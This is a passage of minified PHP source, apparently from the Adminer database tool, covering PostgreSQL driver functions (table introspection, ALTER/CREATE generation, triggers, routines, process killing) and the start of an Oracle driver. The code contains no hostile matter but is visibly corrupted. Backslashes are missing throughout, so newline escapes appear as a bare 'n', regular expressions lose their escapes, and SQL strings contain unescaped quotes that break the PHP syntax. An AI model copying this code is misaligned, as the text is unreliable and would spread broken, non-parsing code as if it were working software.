slowQuery($G,$hi){$this->_conn->query("SET statement_timeout = ".(1000*$hi));$this->_conn->timeout=1000*$hi;return$G;}function
convertSearch($v,$X,$o){return(preg_match('~char|text'.(!preg_match('~LIKE~',$X["op"])?'|date|time(stamp)?|boolean|uuid|'.number_type():'').'~',$o["type"])?$v:"CAST($v AS text)");}function
quoteBinary($ah){return$this->_conn->quoteBinary($ah);}function
warnings(){return$this->_conn->warnings();}function
tableHelp($D){$ze=array("information_schema"=>"infoschema","pg_catalog"=>"catalog",);$A=$ze[$_GET["ns"]];if($A)return"$A-".str_replace("_","-",$D).".html";}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b,$U,$Jh;$g=new
Min_DB;$Mb=$b->credentials();if($g->connect($Mb[0],$Mb[1],$Mb[2])){if(min_version(9,0,$g)){$g->query("SET application_name = 'Adminer'");if(min_version(9.2,0,$g)){$Jh[lang(25)][]="json";$U["json"]=4294967295;if(min_version(9.4,0,$g)){$Jh[lang(25)][]="jsonb";$U["jsonb"]=4294967295;}}}return$g;}return$g->error;}function
get_databases(){return
get_vals("SELECT datname FROM pg_database WHERE has_database_privilege(datname, 'CONNECT') ORDER BY datname");}function
limit($G,$Z,$_,$kf=0,$kh=" "){return" $G$Z".($_!==null?$kh."LIMIT $_".($kf?" OFFSET $kf":""):"");}function
limit1($Q,$G,$Z,$kh="n"){return(preg_match('~^INTO~',$G)?limit($G,$Z,1,0,$kh):" $G".(is_view(table_status1($Q))?$Z:" WHERE ctid = (SELECT ctid FROM ".table($Q).$Z.$kh."LIMIT 1)"));}function
db_collation($l,$nb){global$g;return$g->result("SELECT datcollate FROM pg_database WHERE datname = ".q($l));}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT user");}function
tables_list(){$G="SELECT table_name, table_type FROM information_schema.tables WHERE table_schema = current_schema()";if(support('materializedview'))$G.="
UNION ALL
SELECT matviewname, 'MATERIALIZED VIEW'
FROM pg_matviews
WHERE schemaname = current_schema()";$G.="
ORDER BY 1";return
get_key_vals($G);}function
count_tables($k){return
array();}function
table_status($D=""){$I=array();foreach(get_rows("SELECT c.relname AS "Name", CASE c.relkind WHEN 'r' THEN 'table' WHEN 'm' THEN 'materialized view' ELSE 'view' END AS "Engine", pg_relation_size(c.oid) AS "Data_length", pg_total_relation_size(c.oid) - pg_relation_size(c.oid) AS "Index_length", obj_description(c.oid, 'pg_class') AS "Comment", ".(min_version(12)?"''":"CASE WHEN c.relhasoids THEN 'oid' ELSE '' END")." AS "Oid", c.reltuples as "Rows", n.nspname
FROM pg_class c
JOIN pg_namespace n ON(n.nspname = current_schema() AND n.oid = c.relnamespace)
WHERE relkind IN ('r', 'm', 'v', 'f', 'p')
".($D!=""?"AND relname = ".q($D):"ORDER BY relname"))as$J)$I[$J["Name"]]=$J;return($D!=""?$I[$D]:$I);}function
is_view($R){return
in_array($R["Engine"],array("view","materialized view"));}function
fk_support($R){return
true;}function
fields($Q){$I=array();$Ca=array('timestamp without time zone'=>'timestamp','timestamp with time zone'=>'timestamptz',);foreach(get_rows("SELECT a.attname AS field, format_type(a.atttypid, a.atttypmod) AS full_type, pg_get_expr(d.adbin, d.adrelid) AS default, a.attnotnull::int, col_description(c.oid, a.attnum) AS comment".(min_version(10)?", a.attidentity":"")."
FROM pg_class c
JOIN pg_namespace n ON c.relnamespace = n.oid
JOIN pg_attribute a ON c.oid = a.attrelid
LEFT JOIN pg_attrdef d ON c.oid = d.adrelid AND a.attnum = d.adnum
WHERE c.relname = ".q($Q)."
AND n.nspname = current_schema()
AND NOT a.attisdropped
AND a.attnum > 0
ORDER BY a.attnum")as$J){preg_match('~([^([]+)(((.*)))?([a-z ]+)?(([[0-9]*])*)$~',$J["full_type"],$C);list(,$T,$we,$J["length"],$xa,$Fa)=$C;$J["length"].=$Fa;$cb=$T.$xa;if(isset($Ca[$cb])){$J["type"]=$Ca[$cb];$J["full_type"]=$J["type"].$we.$Fa;}else{$J["type"]=$T;$J["full_type"]=$J["type"].$we.$xa.$Fa;}if(in_array($J['attidentity'],array('a','d')))$J['default']='GENERATED '.($J['attidentity']=='d'?'BY DEFAULT':'ALWAYS').' AS IDENTITY';$J["null"]=!$J["attnotnull"];$J["auto_increment"]=$J['attidentity']||preg_match('~^nextval(~i',$J["default"]);$J["privileges"]=array("insert"=>1,"select"=>1,"update"=>1);if(preg_match('~(.+)::[^,)]+(.*)~',$J["default"],$C))$J["default"]=($C[1]=="NULL"?null:idf_unescape($C[1]).$C[2]);$I[$J["field"]]=$J;}return$I;}function
indexes($Q,$h=null){global$g;if(!is_object($h))$h=$g;$I=array();$Sh=$h->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($Q));$e=get_key_vals("SELECT attnum, attname FROM pg_attribute WHERE attrelid = $Sh AND attnum > 0",$h);foreach(get_rows("SELECT relname, indisunique::int, indisprimary::int, indkey, indoption, (indpred IS NOT NULL)::int as indispartial FROM pg_index i, pg_class ci WHERE i.indrelid = $Sh AND ci.oid = i.indexrelid",$h)as$J){$Kg=$J["relname"];$I[$Kg]["type"]=($J["indispartial"]?"INDEX":($J["indisprimary"]?"PRIMARY":($J["indisunique"]?"UNIQUE":"INDEX")));$I[$Kg]["columns"]=array();foreach(explode(" ",$J["indkey"])as$Rd)$I[$Kg]["columns"][]=$e[$Rd];$I[$Kg]["descs"]=array();foreach(explode(" ",$J["indoption"])as$Sd)$I[$Kg]["descs"][]=($Sd&1?'1':null);$I[$Kg]["lengths"]=array();}return$I;}function
foreign_keys($Q){global$sf;$I=array();foreach(get_rows("SELECT conname, condeferrable::int AS deferrable, pg_get_constraintdef(oid) AS definition
FROM pg_constraint
WHERE conrelid = (SELECT pc.oid FROM pg_class AS pc INNER JOIN pg_namespace AS pn ON (pn.oid = pc.relnamespace) WHERE pc.relname = ".q($Q)." AND pn.nspname = current_schema())
AND contype = 'f'::char
ORDER BY conkey, conname")as$J){if(preg_match('~FOREIGN KEYs*((.+))s*REFERENCES (.+)((.+))(.*)$~iA',$J['definition'],$C)){$J['source']=array_map('idf_unescape',array_map('trim',explode(',',$C[1])));if(preg_match('~^(("([^"]|"")+"|[^"]+).)?"?("([^"]|"")+"|[^"]+)$~',$C[2],$Ee)){$J['ns']=idf_unescape($Ee[2]);$J['table']=idf_unescape($Ee[4]);}$J['target']=array_map('idf_unescape',array_map('trim',explode(',',$C[3])));$J['on_delete']=(preg_match("~ON DELETE ($sf)~",$C[4],$Ee)?$Ee[1]:'NO ACTION');$J['on_update']=(preg_match("~ON UPDATE ($sf)~",$C[4],$Ee)?$Ee[1]:'NO ACTION');$I[$J['conname']]=$J;}}return$I;}function
constraints($Q){global$sf;$I=array();foreach(get_rows("SELECT conname, consrc
FROM pg_catalog.pg_constraint
INNER JOIN pg_catalog.pg_namespace ON pg_constraint.connamespace = pg_namespace.oid
INNER JOIN pg_catalog.pg_class ON pg_constraint.conrelid = pg_class.oid AND pg_constraint.connamespace = pg_class.relnamespace
WHERE pg_constraint.contype = 'c'
AND conrelid != 0 -- handle only CONSTRAINTs here, not TYPES
AND nspname = current_schema()
AND relname = ".q($Q)."
ORDER BY connamespace, conname")as$J)$I[$J['conname']]=$J['consrc'];return$I;}function
view($D){global$g;return
array("select"=>trim($g->result("SELECT pg_get_viewdef(".$g->result("SELECT oid FROM pg_class WHERE relnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema()) AND relname = ".q($D)).")")));}function
collations(){return
array();}function
information_schema($l){return($l=="information_schema");}function
error(){global$g;$I=h($g->error);if(preg_match('~^(.*n)?([^n]*)n( *)^(n.*)?$~s',$I,$C))$I=$C[1].preg_replace('~((?:[^&]|&[^;]*;){'.strlen($C[3]).'})(.*)~','1<b>2</b>',$C[2]).$C[4];return
nl_br($I);}function
create_database($l,$mb){return
queries("CREATE DATABASE ".idf_escape($l).($mb?" ENCODING ".idf_escape($mb):""));}function
drop_databases($k){global$g;$g->close();return
apply_queries("DROP DATABASE",$k,'idf_escape');}function
rename_database($D,$mb){return
queries("ALTER DATABASE ".idf_escape(DB)." RENAME TO ".idf_escape($D));}function
auto_increment(){return"";}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){$c=array();$yg=array();if($Q!=""&&$Q!=$D)$yg[]="ALTER TABLE ".table($Q)." RENAME TO ".table($D);foreach($p
as$o){$d=idf_escape($o[0]);$X=$o[1];if(!$X)$c[]="DROP $d";else{$Vi=$X[5];unset($X[5]);if($o[0]==""){if(isset($X[6]))$X[1]=($X[1]==" bigint"?" big":($X[1]==" smallint"?" small":" "))."serial";$c[]=($Q!=""?"ADD ":"  ").implode($X);if(isset($X[6]))$c[]=($Q!=""?"ADD":" ")." PRIMARY KEY ($X[0])";}else{if($d!=$X[0])$yg[]="ALTER TABLE ".table($D)." RENAME $d TO $X[0]";$c[]="ALTER $d TYPE$X[1]";if(!$X[6]){$c[]="ALTER $d ".($X[3]?"SET$X[3]":"DROP DEFAULT");$c[]="ALTER $d ".($X[2]==" NULL"?"DROP NOT":"SET").$X[2];}}if($o[0]!=""||$Vi!="")$yg[]="COMMENT ON COLUMN ".table($D).".$X[0] IS ".($Vi!=""?substr($Vi,9):"''");}}$c=array_merge($c,$hd);if($Q=="")array_unshift($yg,"CREATE TABLE ".table($D)." (n".implode(",n",$c)."n)");elseif($c)array_unshift($yg,"ALTER TABLE ".table($Q)."n".implode(",n",$c));if($Q!=""||$tb!="")$yg[]="COMMENT ON TABLE ".table($D)." IS ".q($tb);if($La!=""){}foreach($yg
as$G){if(!queries($G))return
false;}return
true;}function
alter_indexes($Q,$c){$i=array();$lc=array();$yg=array();foreach($c
as$X){if($X[0]!="INDEX")$i[]=($X[2]=="DROP"?"nDROP CONSTRAINT ".idf_escape($X[1]):"nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");elseif($X[2]=="DROP")$lc[]=idf_escape($X[1]);else$yg[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q)." (".implode(", ",$X[2]).")";}if($i)array_unshift($yg,"ALTER TABLE ".table($Q).implode(",",$i));if($lc)array_unshift($yg,"DROP INDEX ".implode(", ",$lc));foreach($yg
as$G){if(!queries($G))return
false;}return
true;}function
truncate_tables($S){return
queries("TRUNCATE ".implode(", ",array_map('table',$S)));return
true;}function
drop_views($bj){return
drop_tables($bj);}function
drop_tables($S){foreach($S
as$Q){$O=table_status($Q);if(!queries("DROP ".strtoupper($O["Engine"])." ".table($Q)))return
false;}return
true;}function
move_tables($S,$bj,$Zh){foreach(array_merge($S,$bj)as$Q){$O=table_status($Q);if(!queries("ALTER ".strtoupper($O["Engine"])." ".table($Q)." SET SCHEMA ".idf_escape($Zh)))return
false;}return
true;}function
trigger($D,$Q){if($D=="")return
array("Statement"=>"EXECUTE PROCEDURE ()");$e=array();$Z="WHERE trigger_schema = current_schema() AND event_object_table = ".q($Q)." AND trigger_name = ".q($D);foreach(get_rows("SELECT * FROM information_schema.triggered_update_columns $Z")as$J)$e[]=$J["event_object_column"];$I=array();foreach(get_rows('SELECT trigger_name AS "Trigger", action_timing AS "Timing", event_manipulation AS "Event", 'FOR EACH ' || action_orientation AS "Type", action_statement AS "Statement" FROM information_schema.triggers '."$Z ORDER BY event_manipulation DESC")as$J){if($e&&$J["Event"]=="UPDATE")$J["Event"].=" OF";$J["Of"]=implode(", ",$e);if($I)$J["Event"].=" OR $I[Event]";$I=$J;}return$I;}function
triggers($Q){$I=array();foreach(get_rows("SELECT * FROM information_schema.triggers WHERE trigger_schema = current_schema() AND event_object_table = ".q($Q))as$J){$zi=trigger($J["trigger_name"],$Q);$I[$zi["Trigger"]]=array($zi["Timing"],$zi["Event"]);}return$I;}function
trigger_options(){return
array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","UPDATE OF","DELETE","INSERT OR UPDATE","INSERT OR UPDATE OF","DELETE OR INSERT","DELETE OR UPDATE","DELETE OR UPDATE OF","DELETE OR INSERT OR UPDATE","DELETE OR INSERT OR UPDATE OF"),"Type"=>array("FOR EACH ROW","FOR EACH STATEMENT"),);}function
routine($D,$T){$K=get_rows('SELECT routine_definition AS definition, LOWER(external_language) AS language, *
FROM information_schema.routines
WHERE routine_schema = current_schema() AND specific_name = '.q($D));$I=$K[0];$I["returns"]=array("type"=>$I["type_udt_name"]);$I["fields"]=get_rows('SELECT parameter_name AS field, data_type AS type, character_maximum_length AS length, parameter_mode AS inout
FROM information_schema.parameters
WHERE specific_schema = current_schema() AND specific_name = '.q($D).'
ORDER BY ordinal_position');return$I;}function
routines(){return
get_rows('SELECT specific_name AS "SPECIFIC_NAME", routine_type AS "ROUTINE_TYPE", routine_name AS "ROUTINE_NAME", type_udt_name AS "DTD_IDENTIFIER"
FROM information_schema.routines
WHERE routine_schema = current_schema()
ORDER BY SPECIFIC_NAME');}function
routine_languages(){return
get_vals("SELECT LOWER(lanname) FROM pg_catalog.pg_language");}function
routine_id($D,$J){$I=array();foreach($J["fields"]as$o)$I[]=$o["type"];return
idf_escape($D)."(".implode(", ",$I).")";}function
last_id(){return
0;}function
explain($g,$G){return$g->query("EXPLAIN $G");}function
found_rows($R,$Z){global$g;if(preg_match("~ rows=([0-9]+)~",$g->result("EXPLAIN SELECT * FROM ".idf_escape($R["Name"]).($Z?" WHERE ".implode(" AND ",$Z):"")),$Jg))return$Jg[1];return
false;}function
types(){return
get_vals("SELECT typname
FROM pg_type
WHERE typnamespace = (SELECT oid FROM pg_namespace WHERE nspname = current_schema())
AND typtype IN ('b','d','e')
AND typelem = 0");}function
schemas(){return
get_vals("SELECT nspname FROM pg_namespace ORDER BY nspname");}function
get_schema(){global$g;return$g->result("SELECT current_schema()");}function
set_schema($ch,$h=null){global$g,$U,$Jh;if(!$h)$h=$g;$I=$h->query("SET search_path TO ".idf_escape($ch));foreach(types()as$T){if(!isset($U[$T])){$U[$T]=0;$Jh[lang(26)][]=$T;}}return$I;}function
foreign_keys_sql($Q){$I="";$O=table_status($Q);$ed=foreign_keys($Q);ksort($ed);foreach($ed
as$dd=>$cd)$I.="ALTER TABLE ONLY ".idf_escape($O['nspname']).".".idf_escape($O['Name'])." ADD CONSTRAINT ".idf_escape($dd)." $cd[definition] ".($cd['deferrable']?'DEFERRABLE':'NOT DEFERRABLE').";n";return($I?"$In":$I);}function
create_sql($Q,$La,$Kh){global$g;$I='';$Sg=array();$mh=array();$O=table_status($Q);if(is_view($O)){$aj=view($Q);return
rtrim("CREATE VIEW ".idf_escape($Q)." AS $aj[select]",";");}$p=fields($Q);$x=indexes($Q);ksort($x);$Cb=constraints($Q);if(!$O||empty($p))return
false;$I="CREATE TABLE ".idf_escape($O['nspname']).".".idf_escape($O['Name'])." (n    ";foreach($p
as$Xc=>$o){$Tf=idf_escape($o['field']).' '.$o['full_type'].default_value($o).($o['attnotnull']?" NOT NULL":"");$Sg[]=$Tf;if(preg_match('~nextval('([^']+)')~',$o['default'],$Fe)){$lh=$Fe[1];$_h=reset(get_rows(min_version(10)?"SELECT *, cache_size AS cache_value FROM pg_sequences WHERE schemaname = current_schema() AND sequencename = ".q($lh):"SELECT * FROM $lh"));$mh[]=($Kh=="DROP+CREATE"?"DROP SEQUENCE IF EXISTS $lh;n":"")."CREATE SEQUENCE $lh INCREMENT $_h[increment_by] MINVALUE $_h[min_value] MAXVALUE $_h[max_value]".($La&&$_h['last_value']?" START $_h[last_value]":"")." CACHE $_h[cache_value];";}}if(!empty($mh))$I=implode("nn",$mh)."nn$I";foreach($x
as$Md=>$w){switch($w['type']){case'UNIQUE':$Sg[]="CONSTRAINT ".idf_escape($Md)." UNIQUE (".implode(', ',array_map('idf_escape',$w['columns'])).")";break;case'PRIMARY':$Sg[]="CONSTRAINT ".idf_escape($Md)." PRIMARY KEY (".implode(', ',array_map('idf_escape',$w['columns'])).")";break;}}foreach($Cb
as$zb=>$Ab)$Sg[]="CONSTRAINT ".idf_escape($zb)." CHECK $Ab";$I.=implode(",n    ",$Sg)."n) WITH (oids = ".($O['Oid']?'true':'false').");";foreach($x
as$Md=>$w){if($w['type']=='INDEX'){$e=array();foreach($w['columns']as$z=>$X)$e[]=idf_escape($X).($w['descs'][$z]?" DESC":"");$I.="nnCREATE INDEX ".idf_escape($Md)." ON ".idf_escape($O['nspname']).".".idf_escape($O['Name'])." USING btree (".implode(', ',$e).");";}}if($O['Comment'])$I.="nnCOMMENT ON TABLE ".idf_escape($O['nspname']).".".idf_escape($O['Name'])." IS ".q($O['Comment']).";";foreach($p
as$Xc=>$o){if($o['comment'])$I.="nnCOMMENT ON COLUMN ".idf_escape($O['nspname']).".".idf_escape($O['Name']).".".idf_escape($Xc)." IS ".q($o['comment']).";";}return
rtrim($I,';');}function
truncate_sql($Q){return"TRUNCATE ".table($Q);}function
trigger_sql($Q){$O=table_status($Q);$I="";foreach(triggers($Q)as$yi=>$xi){$zi=trigger($yi,$O['Name']);$I.="nCREATE TRIGGER ".idf_escape($zi['Trigger'])." $zi[Timing] $zi[Event] ON ".idf_escape($O["nspname"]).".".idf_escape($O['Name'])." $zi[Type] $zi[Statement];;n";}return$I;}function
use_sql($j){return"connect ".idf_escape($j);}function
show_variables(){return
get_key_vals("SHOW ALL");}function
process_list(){return
get_rows("SELECT * FROM pg_stat_activity ORDER BY ".(min_version(9.2)?"pid":"procpid"));}function
show_status(){}function
convert_field($o){}function
unconvert_field($o,$I){return$I;}function
support($Vc){return
preg_match('~^(database|table|columns|sql|indexes|descidx|comment|view|'.(min_version(9.3)?'materializedview|':'').'scheme|routine|processlist|sequence|trigger|type|variables|drop_col|kill|dump)$~',$Vc);}function
kill_process($X){return
queries("SELECT pg_terminate_backend(".number($X).")");}function
connection_id(){return"SELECT pg_backend_pid()";}function
max_connections(){global$g;return$g->result("SHOW max_connections");}function
driver_config(){$U=array();$Jh=array();foreach(array(lang(27)=>array("smallint"=>5,"integer"=>10,"bigint"=>19,"boolean"=>1,"numeric"=>0,"real"=>7,"double precision"=>16,"money"=>20),lang(28)=>array("date"=>13,"time"=>17,"timestamp"=>20,"timestamptz"=>21,"interval"=>0),lang(25)=>array("character"=>0,"character varying"=>0,"text"=>0,"tsquery"=>0,"tsvector"=>0,"uuid"=>0,"xml"=>0),lang(29)=>array("bit"=>0,"bit varying"=>0,"bytea"=>0),lang(30)=>array("cidr"=>43,"inet"=>43,"macaddr"=>17,"txid_snapshot"=>0),lang(31)=>array("box"=>0,"circle"=>0,"line"=>0,"lseg"=>0,"path"=>0,"point"=>0,"polygon"=>0),)as$z=>$X){$U+=$X;$Jh[$z]=array_keys($X);}return
array('possible_drivers'=>array("PgSQL","PDO_PgSQL"),'jush'=>"pgsql",'types'=>$U,'structured_types'=>$Jh,'unsigned'=>array(),'operators'=>array("=","<",">","<=",">=","!=","~","!~","LIKE","LIKE %%","ILIKE","ILIKE %%","IN","IS NULL","NOT LIKE","NOT IN","IS NOT NULL"),'functions'=>array("char_length","lower","round","to_hex","to_timestamp","upper"),'grouping'=>array("avg","count","count distinct","max","min","sum"),'edit_functions'=>array(array("char"=>"md5","date|time"=>"now",),array(number_type()=>"+/-","date|time"=>"+ interval/- interval","char|text"=>"||",)),);}}$kc["oracle"]="Oracle (beta)";if(isset($_GET["oracle"])){define("DRIVER","oracle");if(extension_loaded("oci8")){class
Min_DB{var$extension="oci8",$_link,$_result,$server_info,$affected_rows,$errno,$error;var$_current_db;function
_error($Cc,$n){if(ini_bool("html_errors"))$n=html_entity_decode(strip_tags($n));$n=preg_replace('~^[^:]*: ~','',$n);$this->error=$n;}function
connect($M,$V,$F){$this->_link=@oci_new_connect($V,$F,$M,"AL32UTF8");if($this->_link){$this->server_info=oci_server_version($this->_link);return
true;}$n=oci_error();$this->error=$n["message"];return
false;}function
quote($P){return"'".str_replace("'","''",$P)."'";}function
select_db($j){$this->_current_db=$j;return
true;}function
query($G,$Ei=false){$H=oci_parse($this->_link,$G);$this->error="";if(!$H){$n=oci_error($this->_link);$this->errno=$n["code"];$this->error=$n["message"];return
false;}set_error_handler(array($this,'_error'));$I=@oci_execute($H);restore_error_handler();if($I){if(oci_num_fields($H))return
new
Min_Result($H);$this->affected_rows=oci_num_rows($H);oci_free_statement($H);}return$I;}function
multi_query($G){return$this->_result=$this->query($G);}function
store_result(){return$this->_result;}function
next_result(){return
false;}function
result($G,$o=1){$H=$this->query($G);if(!is_object($H)||!oci_fetch($H->_result))return
false;return
oci_result($H->_result,$o);}}class
Min_Result{var$_result,$_offset=1,$num_rows;function
__construct($H){$this->_result=$H;}function
_convert($J){foreach((array)$J
as$z=>$X){if(is_a($X,'OCI-Lob'))$J[$z]=$X->load();}return$J;}function
fetch_assoc(){return$this->_convert(oci_fetch_assoc($this->_result));}function
fetch_row(){return$this->_convert(oci_fetch_row($this->_result));}function
fetch_field(){$d=$this->_offset++;$I=new
stdClass;$I->name=oci_field_name($this->_result,$d);$I->orgname=$I->name;$I->type=oci_field_type($this->_result,$d);$I->charsetnr=(preg_match("~raw|blob|bfile~",$I->type)?63:0);return$I;}function
__destruct(){oci_free_statement($this->_result);}}}elseif(extension_loaded("pdo_oci")){class
Min_DB
extends
Min_PDO{var$extension="PDO_OCI";var$_current_db;function
connect($M,$V,$F){$this->dsn("oci:dbname=//$M;charset=AL32UTF8",$V,$F);return
true;}function
select_db($j){$this->_current_db=$j;return
true;}}}class
Min_Driver
extends
Min_SQL{function
begin(){return
true;}function
insertUpdate($Q,$K,$ng){global$g;foreach($K
as$N){$Li=array();$Z=array();foreach($N
as$z=>$X){$Li[]="$z = $X";if(isset($ng[idf_unescape($z)]))$Z[]="$z = $X";}if(!(($Z&&queries("UPDATE ".table($Q)." SET ".implode(", ",$Li)." WHERE ".implode(" AND ",$Z))&&$g->affected_rows)||queries("INSERT INTO ".table($Q)." (".implode(", ",array_keys($N)).") VALUES (".implode(", ",$N).")")))return
false;}return
true;}}function
idf_escape($v){return'"'.str_replace('"','""',$v).'"';}function
table($v){return
idf_escape($v);}function
connect(){global$b;$g=new
Min_DB;$Mb=$b->credentials();if($g->connect($Mb[0],$Mb[1],$Mb[2]))return$g;return$g->error;}function
get_databases(){return
get_vals("SELECT tablespace_name FROM user_tablespaces ORDER BY 1");}function
limit($G,$Z,$_,$kf=0,$kh=" "){return($kf?" * FROM (SELECT t.*, rownum AS rnum FROM (SELECT $G$Z) t WHERE rownum <= ".($_+$kf).") WHERE rnum > $kf":($_!==null?" * FROM (SELECT $G$Z) WHERE rownum <= ".($_+$kf):" $G$Z"));}function
limit1($Q,$G,$Z,$kh="n"){return" $G$Z";}function
db_collation($l,$nb){global$g;return$g->result("SELECT value FROM nls_database_parameters WHERE parameter = 'NLS_CHARACTERSET'");}function
engines(){return
array();}function
logged_user(){global$g;return$g->result("SELECT USER FROM DUAL");}function
get_current_db(){global$g;$l=$g->_current_db?$g->_current_db:DB;unset($g->_current_db);return$l;}function
where_owner($lg,$Nf="owner"){if(!$_GET["ns"])return'';return"$lg$Nf = sys_context('USERENV', 'CURRENT_SCHEMA')";}function
views_table($e){$Nf=where_owner('');return"(SELECT $e FROM all_views WHERE ".($Nf?$Nf:"rownum < 0").")";}function
tables_list(){$aj=views_table("view_name");$Nf=where_owner(" AND ");return
get_key_vals("SELECT table_name, 'table' FROM all_tables WHERE tablespace_name = ".q(DB)."$Nf
UNION SELECT view_name, 'view' FROM $aj
ORDER BY 1");}function
count_tables($k){global$g;$I=array();foreach($k
as$l)$I[$l]=$g->result("SELECT COUNT(*) FROM all_tables WHERE tablespace_name = ".q($l));return$I;}function
table_status($D=""){$I=array();$eh=q($D);$l=get_current_db();$aj=views_table("view_name");$Nf=where_owner(" AND ");foreach(get_rows('SELECT table_name "Name", 'table' "Engine", avg_row_len * num_rows "Data_length", num_rows "Rows" FROM all_tables WHERE tablespace_name = '.q($l).$Nf.($D!=""?" AND table_name = $eh":"")."
UNION SELECT view_name, 'view', 0, 0 FROM $aj".($D!=""?" WHERE view_name = $eh":"")."
ORDER BY 1")as$J){if($D!="")return$J;$I[$J["Name"]]=$J;}return$I;}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){return
true;}function
fields($Q){$I=array();$Nf=where_owner(" AND ");foreach(get_rows("SELECT * FROM all_tab_columns WHERE table_name = ".q($Q)."$Nf ORDER BY column_id")as$J){$T=$J["DATA_TYPE"];$we="$J[DATA_PRECISION],$J[DATA_SCALE]";if($we==",")$we=$J["CHAR_COL_DECL_LENGTH"];$I[$J["COLUMN_NAME"]]=array("field"=>$J["COLUMN_NAME"],"full_type"=>$T.($we?"($we)":""),"type"=>strtolower($T),"length"=>$we,"default"=>$J["DATA_DEFAULT"],"null"=>($J["NULLABLE"]=="Y"),"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);}return$I;}function
indexes($Q,$h=null){$I=array();$Nf=where_owner(" AND ","aic.table_owner");foreach(get_rows("SELECT aic.*, ac.constraint_type, atc.data_default
FROM all_ind_columns aic
LEFT JOIN all_constraints ac ON aic.index_name = ac.constraint_name AND aic.table_name = ac.table_name AND aic.index_owner = ac.owner
LEFT JOIN all_tab_cols atc ON aic.column_name = atc.column_name AND aic.table_name = atc.table_name AND aic.index_owner = atc.owner
WHERE aic.table_name = ".q($Q)."$Nf
ORDER BY ac.constraint_type, aic.column_position",$h)as$J){$Md=$J["INDEX_NAME"];$qb=$J["DATA_DEFAULT"];$qb=($qb?trim($qb,'"'):$J["COLUMN_NAME"]);$I[$Md]["type"]=($J["CONSTRAINT_TYPE"]=="P"?"PRIMARY":($J["CONSTRAINT_TYPE"]=="U"?"UNIQUE":"INDEX"));$I[$Md]["columns"][]=$qb;$I[$Md]["lengths"][]=($J["CHAR_LENGTH"]&&$J["CHAR_LENGTH"]!=$J["COLUMN_LENGTH"]?$J["CHAR_LENGTH"]:null);$I[$Md]["descs"][]=($J["DESCEND"]&&$J["DESCEND"]=="DESC"?'1':null);}return$I;}function
view($D){$aj=views_table("view_name, text");$K=get_rows('SELECT text "select" FROM '.$aj.' WHERE view_name = '.q($D));return
reset($K);}function
collations(){return
array();}function
information_schema($l){return
false;}function
error(){global$g;return
h($g->error);}function
explain($g,$G){$g->query("EXPLAIN PLAN FOR $G");return$g->query("SELECT * FROM plan_table");}function
found_rows($R,$Z){}function
auto_increment(){return"";}function
alter_table($Q,$D,$p,$hd,$tb,$_c,$mb,$La,$Wf){$c=$lc=array();$Hf=($Q?fields($Q):array());foreach($p
as$o){$X=$o[1];if($X&&$o[0]!=""&&idf_escape($o[0])!=$X[0])queries("ALTER TABLE ".table($Q)." RENAME COLUMN ".idf_escape($o[0])." TO $X[0]");$Gf=$Hf[$o[0]];if($X&&$Gf){$mf=process_field($Gf,$Gf);if($X[2]==$mf[2])$X[2]="";}if($X)$c[]=($Q!=""?($o[0]!=""?"MODIFY (":"ADD ("):"  ").implode($X).($Q!=""?")":"");else$lc[]=idf_escape($o[0]);}if($Q=="")return
queries("CREATE TABLE ".table($D)." (n".implode(",n",$c)."n)");return(!$c||queries("ALTER TABLE ".table($Q)."n".implode("n",$c)))&&(!$lc||queries("ALTER TABLE ".table($Q)." DROP (".implode(", ",$lc).")"))&&($Q==$D||queries("ALTER TABLE ".table($Q)." RENAME TO ".table($D)));}function
alter_indexes($Q,$c){$lc=array();$yg=array();foreach($c
as$X){if($X[0]!="INDEX"){$X[2]=preg_replace('~ DESC$~','',$X[2]);$i=($X[2]=="DROP"?"nDROP CONSTRAINT ".idf_escape($X[1]):"nADD".($X[1]!=""?" CONSTRAINT ".idf_escape($X[1]):"")." $X[0] ".($X[0]=="PRIMARY"?"KEY ":"")."(".implode(", ",$X[2]).")");array_unshift($yg,"ALTER TABLE ".table($Q).$i);}elseif($X[2]=="DROP")$lc[]=idf_escape($X[1]);else$yg[]="CREATE INDEX ".idf_escape($X[1]!=""?$X[1]:uniqid($Q."_"))." ON ".table($Q)." (".implode(", ",$X[2]).")";}if($lc)array_unshift($yg,"DROP INDEX ".implode(", ",$lc));foreach($yg
as$G){if(!queries($G))return
false;}return
true;}function
foreign_keys($Q){$I=array();$G="SELECT c_list.CONSTRAINT_NAME as NAME,
c_src.COLUMN_NAME as SRC_COLUMN,
c_dest.OWNER as DEST_DB,
c_dest.TABLE_NAME as DEST_TABLE,
c_dest.COLUMN_NAME as DEST_COLUMN,
c_list.DELETE_RULE as ON_DELETE
FROM ALL_CONSTRAINTS c_list, ALL_CONS_COLUMNS c_src, ALL_CONS_COLUMNS c_dest
WHERE c_list.CONSTRAINT_NAME = c_src.CONSTRAINT_NAME
AND c_list.R_CONSTRAINT_NAME = c_dest.CONSTRAINT_NAME
AND c_list.CONSTRAINT_TYPE = 'R'
AND c_src.TABLE_NAME = ".q($Q);foreach(get_rows($G)as$J)$I[$J['NAME']]=array("db"=>$J['DEST_DB'],"table"=>$J['DEST_TABLE'],"source"=>array($J['SRC_COLUMN']),"target"=>array($J['DEST_COLUMN']),"on_delete"=>$J['ON_DELETE'],"on_update"=>null,);return$I;}function
truncate_tables($S){return
apply_queries("TRUNCATE TABLE",$S);}function
drop_views($bj){return
apply_queries("DROP VIEW",$bj);}function
drop_tables($S){return
apply_queries("DROP TABLE",$S);}function
last_id(){return
0;}function
schemas(){$I=get_vals("SELECT DISTINCT owner FROM dba_segments WHERE owner IN (SELECT username FROM dba_users WHERE default_tablespace NOT IN ('SYSTEM','SYSAUX')) ORDER BY 1");return($I?$I:get_vals("SELECT DISTINCT owner FROM all_tables WHERE tablespace_name = ".q(DB)." ORDER BY 1"));}function
